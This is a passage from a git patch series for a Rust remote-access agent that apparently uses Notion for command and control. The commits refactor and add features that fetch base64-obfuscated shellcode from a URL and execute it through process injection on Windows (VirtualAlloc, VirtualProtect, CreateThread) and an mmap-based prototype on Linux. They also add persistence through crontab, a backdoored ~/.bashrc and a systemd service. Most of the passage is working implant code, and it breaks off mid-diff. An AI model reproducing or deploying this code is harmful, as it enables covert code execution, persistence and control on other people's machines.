WaitForSingleObject..."); + + let status = WaitForSingleObject(h_thread, winbase::INFINITE); + if status == 0 { + println!("[+] Good!") + } else { + let error = errhandlingapi::GetLastError(); + println!("{}", error.to_string()) + } } - } - + return Ok("Injection completed!".to_string()); } else { return Ok("Could not download shellcode".to_string()); - } - + } } else { return Ok(format!("Could not download from {url}")); } } - - #[cfg(not(windows))] { + + #[cfg(not(windows))] + { Ok("Can only inject shellcode on Windows!".to_string()) } -} \ No newline at end of file +} diff --git a/agent/src/cmd/download.rs b/agent/src/cmd/download.rs index bfba204..4fc1234 100755 --- a/agent/src/cmd/download.rs +++ b/agent/src/cmd/download.rs @@ -10,7 +10,7 @@ use crate::logger::Logger; /// Usage: `download [url] [path]`. /// /// Defaults the the end of the URL without path option -pub async fn handle(mut cmd_args: CommandArgs, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { let client = Client::new(); // Get URL as the first arg let url: String = cmd_args.nth(0).unwrap_or_else(|| "".to_string()); diff --git a/agent/src/cmd/elevate.rs b/agent/src/cmd/elevate.rs index c956b5c..90c7bd5 100644 --- a/agent/src/cmd/elevate.rs +++ b/agent/src/cmd/elevate.rs @@ -46,7 +46,7 @@ pub fn can_elevate() -> bool { /// /// Because we can't wait for the output of the child process, /// we toss the handle. -pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { if can_elevate() { #[cfg(not(windows))] { match cmd_args.nth(0).unwrap().as_str() { diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index b7edf8d..f2f8bfb 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -26,7 +26,7 @@ use crate::logger::Logger; /// /// * `cron`: Writes a cronjob to the user's crontab and saves the agent in the home folder /// * `systemd`: Creates a systemd service and writes the binary someplace special -pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { // `persist [method] [args]` #[cfg(windows)] { match cmd_args.nth(0).unwrap().as_str() { @@ -192,14 +192,14 @@ pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOption }; if let Ok(_) = copy(&app_path, dest_path) { // Save config for relaunch - let save_args = CommandArgs::from_string(format!("{app_dir}/cfg.json")); - save::handle(save_args, config_options).await?; + let mut save_args = CommandArgs::from_string(format!("{app_dir}/cfg.json")); + save::handle(&mut save_args, config_options).await?; // Write a cronjob to the user's crontab with the given minutes as an interval. let cron_string = format!("0 * * * * {app_dir}/notion"); - let cron_args = CommandArgs::from_string( + let mut cron_args = CommandArgs::from_string( format!("(crontab -l 2>/dev/null; echo '{cron_string}') | crontab - ") ); - if let Ok(_) = shell::handle(cron_args).await { + if let Ok(_) = shell::handle(&mut cron_args).await { Ok("Cronjob added!".to_string()) } else { Ok("Could not make cronjob".to_string()) @@ -218,10 +218,10 @@ pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOption // Save config for relaunch let b64_config = config_options.to_base64(); // Write a line to the user's bashrc that starts the agent. - let bashrc_args = CommandArgs::new( + let mut bashrc_args = CommandArgs::new( vec![format!("echo '{app_dir}/notion -b {b64_config} & disown' >> ~/.bashrc ")] ); - if let Ok(_) = shell::handle(bashrc_args).await { + if let Ok(_) = shell::handle(&mut bashrc_args).await { Ok("Bash Backdoored!".to_string()) } else { Ok("Could not modify bashrc".to_string()) @@ -256,10 +256,10 @@ ExecStart={dest_path} -b {b64_config} WantedBy=multi-user.target" ); write(svc_path, svc_string)?; - let systemd_args = CommandArgs::from_string( + let mut systemd_args = CommandArgs::from_string( "systemctl enable notion.service".to_string() ); - return shell::handle(systemd_args).await; + return shell::handle(&mut systemd_args).await; } else { return Ok("Could not copy service file".to_string()); } diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index e1658fd..7e9a76a 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -121,7 +121,7 @@ fn get_ports(full: bool) -> Vec { /// ```bash /// portscan 102.168.35.5. false 10 10 🎯 /// ``` -pub async fn handle(cmd_args: CommandArgs, logger: &Logger) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { logger.debug(format!("Portscan args: {:?}", cmd_args)); let args: Vec = cmd_args.collect(); diff --git a/agent/src/cmd/runas.rs b/agent/src/cmd/runas.rs index c79622b..25b72f8 100755 --- a/agent/src/cmd/runas.rs +++ b/agent/src/cmd/runas.rs @@ -4,7 +4,7 @@ use crate::cmd::CommandArgs; /// Runs given command as another user. Requires admin privs. /// /// Usage: `runas [user] [command]` -pub async fn handle(cmd_args: CommandArgs) -> Result> { +pub async fn handle(cmd_args: &CommandArgs) -> Result> { // TODO: Implement #[cfg(windows)] { return Ok(String::from("Under Construction!")) diff --git a/agent/src/cmd/save.rs b/agent/src/cmd/save.rs index e20ff56..8a6a42b 100755 --- a/agent/src/cmd/save.rs +++ b/agent/src/cmd/save.rs @@ -7,7 +7,7 @@ use crate::cmd::{CommandArgs, ConfigOptions}; /// Saves the agent to the given path. /// /// Usage: `save [path]` -pub async fn handle(mut cmd_args: CommandArgs, config_options: &mut ConfigOptions) -> Result> { +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { let save_path = cmd_args.nth(0).unwrap_or_else(|| config_options.config_file_path.to_owned()); config_options.config_file_path = save_path.to_owned(); // let write_path = RelativePath::new(config_options.config_file_path.as_str()); diff --git a/agent/src/cmd/shell.rs b/agent/src/cmd/shell.rs index b88b86c..f984e60 100755 --- a/agent/src/cmd/shell.rs +++ b/agent/src/cmd/shell.rs @@ -9,18 +9,17 @@ use crate::cmd::CommandArgs; /// On Linux, calls out to `/bin/bash`. /// /// Usage: `shell [command]` -pub async fn handle(cmd_args: CommandArgs) -> Result> { - let args_vec: Vec = cmd_args.collect(); +pub async fn handle(cmd_args: &mut CommandArgs) -> Result> { let output = if cfg!(target_os = "windows") { Command::new("cmd") .arg("/c") - .args(args_vec) + .arg(cmd_args.to_string()) .output() .expect("failed to execute process") } else { Command::new("/bin/bash") .arg("-c") - .args(args_vec) + .arg(cmd_args.to_string()) .output() .expect("failed to execute process") }; diff --git a/agent/src/cmd/sleep.rs b/agent/src/cmd/sleep.rs index 247538f..e875e8a 100755 --- a/agent/src/cmd/sleep.rs +++ b/agent/src/cmd/sleep.rs @@ -1,17 +1,16 @@ use std::error::Error; -use crate::cmd::ConfigOptions; +use crate::cmd::{CommandArgs, ConfigOptions}; /// Modifies the sleep and jitter times /// /// Usage: `sleep [SLEEP_TIME] [JITTER_TIME]` -pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result> { - let mut args = s.split(" "); - let sleep_interval: u64 = args +pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions) -> Result> { + let sleep_interval: u64 = cmd_args .nth(0) .unwrap() .parse() .unwrap_or_else(|_| config_options.sleep_interval); - let jitter_time: u64 = args + let jitter_time: u64 = cmd_args .nth(0) .unwrap() .parse() diff --git a/agent/src/main.rs b/agent/src/main.rs index 6c2cdf5..ec251a6 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -135,7 +135,7 @@ async fn main() -> Result<(), Box> { Some(s) => { if s.contains("🎯") { logger.info(format!("Got command: {s}")); - let notion_command = NotionCommand::from_string(s.replace("🎯",""))?; + let mut notion_command = NotionCommand::from_string(s.replace("🎯",""))?; let output = notion_command.handle(&mut config_options, &logger).await?; let command_block_id = block["id"].as_str().unwrap(); complete_command(&client, block.to_owned(), &logger).await; From 5d831913b57d0ded8de253bf578500c047af36a2 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 08:49:53 -0800 Subject: [PATCH 23/99] Refactor injection/fix logging --- agent/src/cmd/inject.rs | 175 +++++++++++++++++++++++---------------- agent/src/cmd/mod.rs | 2 +- agent/src/cmd/persist.rs | 3 +- 3 files changed, 106 insertions(+), 74 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 61cc99a..1fdfee3 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -22,6 +22,78 @@ use crate::cmd::CommandArgs; #[cfg(windows)] use std::ptr; #[cfg(windows)] use reqwest::Client; +/// Handles the retrieval and deobfuscation of shellcode from a url. +#[cfg(windows)] +async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { + // Download shellcode, or try to + let client = Client::new(); + if let Ok(r) = client.get(url).send().await { + if r.status().is_success() { + logger.info(format!("Got the shellcode")); + // Get the shellcode. Now we have to decode it + let mut shellcode_encoded: Vec; + let mut shellcode_string: String; + let mut shellcode: Vec; + if let Ok(sc) = r.text().await { + shellcode_encoded = Vec::from(sc.trim().as_bytes()); + logger.info(format!("Got encoded bytes")); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_encoded) { + Ok(d) => { + shellcode_encoded = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { + let err_msg = e.to_string(); + logger.err(format!("{}", err_msg.to_owned())); + return Err("Could not decode shellcode"); + } + }; + + } + // Convert bytes to our proper string + if let Ok(s) = String::from_utf8(shellcode_encoded) { + shellcode_string = s; + } else { + let err_msg = "Could not convert shellcode bytes to string"; + logger.err(err_msg.to_string()); + return Err("Could not convert shellcode bytes to string"); + } + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + shellcode = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); + + // The actual success + return Ok(shellcode); + + } else { + let err_msg = "Could not decode shellcode"; + logger.err(err_msg.to_string()); + return Err(err_msg); + } + + } else { + return Err("Could not download shellcode"); + } + + } else { + return Err("Could not download shellcode"); + } +} + /// Shellcode-based attacks for further compromise. /// /// On Windows, this will attempt process injection. @@ -45,7 +117,7 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result { return Ok("Could not extract b64 iterations".to_string()); } }; - // Download shellcode, or try to - let client = Client::new(); - if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); - // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; - if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); - logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { return Ok(e.to_string()); } - }; - - } - // Convert bytes to our proper string - shellcode_string = String::from_utf8(shellcode_encoded)?; - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s|{ - match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) => 0 - } - }) - .collect(); - - } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - - } else { - return Ok("Could not download shellcode".to_string()); - } - - } else { - return Ok(format!("Could not download from {url}")); - } + // CALL get_shellcode match inject_type.as_str() { "remote" => { + // Get shellcode + let mut shellcode: Vec; + match get_shellcode(url, b64_iterations, logger).await { + Ok(s) => { shellcode = s}, + Err(e) => { return Ok(e.to_string()); } + }; let mut pid: u32; // Get pid match cmd_args.nth(0) { @@ -159,6 +184,14 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { type DWORD = u32; + + // Get shellcode + let mut shellcode: Vec; + match get_shellcode(url, b64_iterations, logger).await { + Ok(s) => { shellcode = s}, + Err(e) => { return Ok(e.to_string()) } + }; + logger.debug(format!("Injecting into current process...")); unsafe { let base_addr = kernel32::VirtualAlloc( @@ -169,18 +202,18 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result u32 = { std::mem::transmute(base_addr) }; @@ -215,27 +246,27 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Ok("Unknown injection type!".to_string()) } } else { @@ -246,6 +277,6 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result> { +pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result> { Ok("Can only inject shellcode on Windows!".to_string()) } \ No newline at end of file diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 6722812..b5ab4b9 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -176,7 +176,7 @@ impl NotionCommand { CommandType::Download => download::handle( &mut self.args, logger).await, CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, CommandType::Getprivs => getprivs::handle().await, - CommandType::Inject => inject::handle(&self.args, logger).await, + CommandType::Inject => inject::handle(&mut self.args, logger).await, CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, CommandType::Portscan => portscan::handle(&mut self.args, logger).await, CommandType::Ps => ps::handle().await, diff --git a/agent/src/cmd/persist.rs b/agent/src/cmd/persist.rs index f2f8bfb..00b16bd 100755 --- a/agent/src/cmd/persist.rs +++ b/agent/src/cmd/persist.rs @@ -127,7 +127,8 @@ pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptio if elevated { if let Ok(v) = var("LOCALAPPDATA") { let cfg_path = format!("{v}\\cfg.json"); - save::handle(&cfg_path, config_options).await?; + let mut cfg_path_args = CommandArgs::from_string(cfg_path.to_owned()); + save::handle(&mut cfg_path_args, config_options).await?; let mut persist_path: String = v; persist_path.push_str(r"\notion.exe"); From 9253670bfb257f4d48107c57a0522ae6e5b2a760 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 14:41:46 -0800 Subject: [PATCH 24/99] Start Linux injection --- agent/Cargo.lock | 10 ++++++++++ agent/Cargo.toml | 4 +++- agent/src/cmd/inject.rs | 21 +++++++++++++++++---- agent/src/main.rs | 1 + 4 files changed, 31 insertions(+), 5 deletions(-) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 6d7e783..9a693b5 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -472,6 +472,15 @@ version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" +[[package]] +name = "memmap2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "057a3db23999c867821a7a59feb06a578fcb03685e983dff90daf9e7d24ac08f" +dependencies = [ + "libc", +] + [[package]] name = "memoffset" version = "0.6.5" @@ -586,6 +595,7 @@ dependencies = [ "is-root", "kernel32-sys", "libc", + "memmap2", "rand", "reqwest", "serde", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index 0910d85..e46d8aa 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -12,7 +12,6 @@ reqwest = { version = "0.11", features = ["json"] } tokio = { version = "1", features = ["full"] } serde = { version = "1.0.136", features=["derive"] } serde_json = "1.0" -winapi = "0.3.8" libc = "0.2.66" sysinfo = "0.23.0" whoami = "1.2.1" @@ -24,6 +23,9 @@ cidr-utils = "0.5.5" [build-dependencies] embed-resource = "1.6" +[target.'cfg(not(windows))'.dependencies] +memmap2 = "0.5.3" + [target.'cfg(windows)'.dependencies] kernel32-sys = "0.2.2" winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] } diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 1fdfee3..939af26 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -1,7 +1,9 @@ use std::error::Error; use crate::logger::Logger; use crate::cmd::CommandArgs; -#[cfg(windows)] use base64::decode as b64_decode; +use memmap2::MmapMut; + +use base64::decode as b64_decode; #[cfg(windows)] extern crate winapi; #[cfg(windows)] extern crate kernel32; #[cfg(windows)] use winapi::um::winnt::{ @@ -20,10 +22,10 @@ use crate::cmd::CommandArgs; synchapi::WaitForSingleObject }; #[cfg(windows)] use std::ptr; -#[cfg(windows)] use reqwest::Client; +use reqwest::Client; /// Handles the retrieval and deobfuscation of shellcode from a url. -#[cfg(windows)] +// #[cfg(windows)] async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { // Download shellcode, or try to let client = Client::new(); @@ -278,5 +280,16 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result> { - Ok("Can only inject shellcode on Windows!".to_string()) + + if let Some(inject_type) = cmd_args.nth(0) { + match inject_type.as_str() { + "mmap" => { + return Ok("MMMMap".to_string()); + }, + _ => { return Ok("Unknown injection method!".to_string()) ;} + } + + } else { + return Ok("No injection type provided!".to_string()); + } } \ No newline at end of file diff --git a/agent/src/main.rs b/agent/src/main.rs index ec251a6..dcf635e 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -4,6 +4,7 @@ extern crate tokio; extern crate serde_json; extern crate whoami; extern crate base64; +extern crate memmap2; use std::{thread, time}; use std::env::args; From a6b57ba9a88cef632e8c5e7a27246a4602ab9d87 Mon Sep 17 00:00:00 2001 From: husky Date: Sun, 6 Mar 2022 14:50:45 -0800 Subject: [PATCH 25/99] removing createthread.rs, omitting WaitForSingleObject call, agent can now self inject and continue to functio --- agent/src/cmd/createthread.rs | 200 ---------------------------------- agent/src/cmd/inject.rs | 18 +-- agent/src/cmd/mod.rs | 1 - 3 files changed, 10 insertions(+), 209 deletions(-) delete mode 100644 agent/src/cmd/createthread.rs diff --git a/agent/src/cmd/createthread.rs b/agent/src/cmd/createthread.rs deleted file mode 100644 index 5856cd4..0000000 --- a/agent/src/cmd/createthread.rs +++ /dev/null @@ -1,200 +0,0 @@ -use crate::logger::Logger; -#[cfg(windows)] -use base64::decode as b64_decode; -use std::error::Error; -#[cfg(windows)] -extern crate kernel32; -#[cfg(windows)] -use reqwest::Client; -#[cfg(windows)] -use std::io; -#[cfg(windows)] -use std::io::prelude::*; -#[cfg(windows)] -use std::io::{stdin, stdout, Read, Write}; -#[cfg(windows)] -use std::process; -#[cfg(windows)] -use std::ptr; -#[cfg(windows)] -use winapi::um::errhandlingapi; -#[cfg(windows)] -use winapi::um::processthreadsapi; -#[cfg(windows)] -use winapi::um::synchapi::WaitForSingleObject; -#[cfg(windows)] -use winapi::um::winbase; -#[cfg(windows)] -use winapi::um::winnt::{ - MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, - PROCESS_ALL_ACCESS, PVOID, -}; - -type DWORD = u32; - -pub async fn handle(base64_string: &String, logger: &Logger) -> Result> { - #[cfg(windows)] - { - // Input: url to shellcode -p pid - let mut args = base64_string.split(" "); - - // Set up our variables; each one could fail on us. - // Yes this is a lot of verbose error checking, but this - // has to be rock solid or the agent will die. - let mut url: &str; - let mut b64_iterations: u32; - - // Get URL - match args.nth(0) { - Some(u) => { - logger.debug(format!("Shellcode URL: {}", &u)); - url = u; - } - None => { - return Ok("Could not parse URL".to_string()); - } - }; - - // Get b64_iterations - match args.nth(0) { - Some(bs) => { - if let Ok(b) = bs.parse::() { - b64_iterations = b; - } else { - return Ok("Could not parse b64 iterations".to_string()); - } - } - None => { - return Ok("Could not extract b64 iterations".to_string()); - } - }; - - logger.debug(format!("Injecting into current process...")); - let client = Client::new(); - if let Ok(r) = client.get(url).send().await { - if r.status().is_success() { - logger.info(format!("Got the shellcode")); - // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; - if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); - logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d.into_iter().filter(|&b| b != 0x0a).collect(); - } - Err(e) => { - return Ok(e.to_string()); - } - }; - } - // Convert bytes to our proper string - shellcode_string = String::from_utf8(shellcode_encoded)?; - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s| match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) => 0, - }) - .collect(); - } else { - let err_msg = "Could not decode shellcode"; - logger.err(err_msg.to_string()); - return Ok(err_msg.to_string()); - } - - unsafe { - let base_addr = kernel32::VirtualAlloc( - ptr::null_mut(), - shellcode.len().try_into().unwrap(), - MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE, - ); - - if base_addr.is_null() { - println!("[-] Couldn't allocate memory to current proc.") - } else { - println!("[+] Allocated memory to current proc."); - } - - // copy shellcode into mem - println!("[*] Copying Shellcode to address in current proc."); - std::ptr::copy(shellcode.as_ptr() as _, base_addr, shellcode.len()); - println!("[*] Copied..."); - - // Flip mem protections from RW to RX with VirtualProtect. Dispose of the call with `out _` - println!("[*] Changing mem protections to RX..."); - - let mut old_protect: DWORD = PAGE_READWRITE; - - let mem_protect = kernel32::VirtualProtect( - base_addr, - shellcode.len() as u64, - PAGE_EXECUTE_READ, - &mut old_protect, - ); - - if mem_protect == 0 { - let error = errhandlingapi::GetLastError(); - println!("[-] Error: {}", error.to_string()); - process::exit(0x0100); - } - - // Call CreateThread - - println!("[*] Calling CreateThread..."); - - let mut tid = 0; - let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) }; - - let h_thread = processthreadsapi::CreateThread( - ptr::null_mut(), - 0, - Some(ep), - ptr::null_mut(), - 0, - &mut tid, - ); - - if h_thread.is_null() { - let error = unsafe { errhandlingapi::GetLastError() }; - println!("{}", error.to_string()) - } else { - println!("[+] Thread Id: {}", tid) - } - - // CreateThread is not a blocking call, so we wait on the thread indefinitely with WaitForSingleObject. This blocks for as long as the thread is running - - println!("[*] Calling WaitForSingleObject..."); - - let status = WaitForSingleObject(h_thread, winbase::INFINITE); - if status == 0 { - println!("[+] Good!") - } else { - let error = errhandlingapi::GetLastError(); - println!("{}", error.to_string()) - } - } - - return Ok("Injection completed!".to_string()); - } else { - return Ok("Could not download shellcode".to_string()); - } - } else { - return Ok(format!("Could not download from {url}")); - } - } - - #[cfg(not(windows))] - { - Ok("Can only inject shellcode on Windows!".to_string()) - } -} diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 1fdfee3..c909205 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -252,15 +252,17 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Date: Sun, 6 Mar 2022 15:15:23 -0800 Subject: [PATCH 26/99] Begin testing Linux sc injector --- agent/src/cmd/inject.rs | 60 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 939af26..67e45cb 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -280,10 +280,68 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result> { - + if let Some(inject_type) = cmd_args.nth(0) { + + // Set up our variables; each one could fail on us. + // Yes this is a lot of verbose error checking, but this + // has to be rock solid or the agent will die. + let mut url: String; + let mut b64_iterations: u32; + match inject_type.as_str() { "mmap" => { + use std::fs::OpenOptions; + use std::os::unix::fs::PermissionsExt; + use crate::cmd::shell; + + // Get URL + match cmd_args.nth(0) { + Some(u) => { + logger.debug(format!("Shellcode URL: {}", &u)); + url = u; + }, + None => { return Ok("Could not parse URL".to_string()); } + }; + + // Get b64_iterations + match cmd_args.nth(0) { + Some(bs) => { + if let Ok(b) = bs.parse::() { + b64_iterations = b; + } else { + return Ok("Could not parse b64 iterations".to_string()); + } + }, + None => { return Ok("Could not extract b64 iterations".to_string()); } + }; + + // Get shellcode + let mut shellcode: Vec; + match get_shellcode(url, b64_iterations, logger).await { + Ok(s) => { shellcode = s}, + Err(e) => { return Ok(e.to_string()); } + }; + + + let file_name = "blargh"; + let file = OpenOptions::new() + .read(true) + .write(true) + .create(true) + .open(file_name)?; + + + file.set_permissions(PermissionsExt::from_mode(0o755))?; + file.set_len(shellcode.len().try_into().unwrap())?; + + let mut mmap = unsafe { MmapMut::map_mut(&file)? }; + mmap.copy_from_slice(shellcode.as_slice()); + mmap.make_exec()?; + + let mut shell_arg = CommandArgs::from_string(file_name.to_string()); + shell::handle(&mut shell_arg).await?; + return Ok("MMMMap".to_string()); }, _ => { return Ok("Unknown injection method!".to_string()) ;} From 2f91345e9188c4c60d00c3729681ae33b426787e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 15:37:07 -0800 Subject: [PATCH 27/99] Linux Injection prototype --- agent/src/cmd/inject.rs | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 6d5d400..e0d8e14 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -295,8 +295,8 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result { use std::fs::OpenOptions; use std::os::unix::fs::PermissionsExt; - use crate::cmd::shell; - + use std::mem; + // Get URL match cmd_args.nth(0) { Some(u) => { @@ -339,10 +339,14 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result ! = mem::transmute(exec_map.as_ptr()); + exec_shellcode(); + } return Ok("MMMMap".to_string()); }, From becd39e50993120d0a14b1db53dd20dcc92e95f0 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 6 Mar 2022 18:36:08 -0800 Subject: [PATCH 28/99] Continue inject experiment --- agent/src/cmd/inject.rs | 104 ++++++++++++++++++++++++---------------- 1 file changed, 62 insertions(+), 42 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index e0d8e14..d04ace5 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -24,8 +24,30 @@ use base64::decode as b64_decode; #[cfg(windows)] use std::ptr; use reqwest::Client; +async fn decode_shellcode(sc: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { + let mut shellcode_vec = Vec::from(sc.trim().as_bytes()); + for i in 0..b64_iterations { + logger.debug(format!("Decode iteration: {i}")); + match b64_decode(shellcode_vec) { + Ok(d) => { + shellcode_vec = d + .into_iter() + .filter(|&b| b != 0x0a) + .collect(); + }, + Err(e) => { + let err_msg = e.to_string(); + logger.err(format!("{}", err_msg.to_owned())); + return Err("Could not decode shellcode"); + } + }; + } + Ok(shellcode_vec) +} + + /// Handles the retrieval and deobfuscation of shellcode from a url. -// #[cfg(windows)] + async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Result, &str> { // Download shellcode, or try to let client = Client::new(); @@ -33,50 +55,48 @@ async fn get_shellcode(url: String, b64_iterations: u32, logger: &Logger) -> Res if r.status().is_success() { logger.info(format!("Got the shellcode")); // Get the shellcode. Now we have to decode it - let mut shellcode_encoded: Vec; - let mut shellcode_string: String; - let mut shellcode: Vec; + let shellcode_decoded: Vec; + let shellcode: Vec; if let Ok(sc) = r.text().await { - shellcode_encoded = Vec::from(sc.trim().as_bytes()); logger.info(format!("Got encoded bytes")); - for i in 0..b64_iterations { - logger.debug(format!("Decode iteration: {i}")); - match b64_decode(shellcode_encoded) { - Ok(d) => { - shellcode_encoded = d - .into_iter() - .filter(|&b| b != 0x0a) - .collect(); - }, - Err(e) => { - let err_msg = e.to_string(); - logger.err(format!("{}", err_msg.to_owned())); - return Err("Could not decode shellcode"); - } - }; - + + match decode_shellcode(sc, b64_iterations, logger).await { + Ok(scd) => { shellcode_decoded = scd; }, + Err(e) => { return Err(e); } + }; + + + #[cfg(windows)] { + // Convert bytes to our proper string + // This only happens on Windows + let shellcode_string: String; + if let Ok(s) = String::from_utf8(shellcode_decoded) { + shellcode_string = s; + } else { + let err_msg = "Could not convert shellcode bytes to string"; + logger.err(err_msg.to_string()); + return Err("Could not convert shellcode bytes to string"); + } + // At this point, we have the comma-separated "0xNN" form of the shellcode. + // We need to get each one until a proper u8. + // Now, keep in mind we only do this for Windows, because we pretty much only make raw byes, + // Not '0x' strings for Linux. + shellcode = shellcode_string + .split(",") + .map(|s| s.replace("0x", "")) + .map(|s| s.replace(" ", "")) + .map(|s|{ + match u8::from_str_radix(&s, 16) { + Ok(b) => b, + Err(_) => 0 + } + }) + .collect(); } - // Convert bytes to our proper string - if let Ok(s) = String::from_utf8(shellcode_encoded) { - shellcode_string = s; - } else { - let err_msg = "Could not convert shellcode bytes to string"; - logger.err(err_msg.to_string()); - return Err("Could not convert shellcode bytes to string"); + + #[cfg(not(windows))] { + shellcode = shellcode_decoded; } - // At this point, we have the comma-separated "0xNN" form of the shellcode. - // We need to get each one until a proper u8. - shellcode = shellcode_string - .split(",") - .map(|s| s.replace("0x", "")) - .map(|s| s.replace(" ", "")) - .map(|s|{ - match u8::from_str_radix(&s, 16) { - Ok(b) => b, - Err(_) 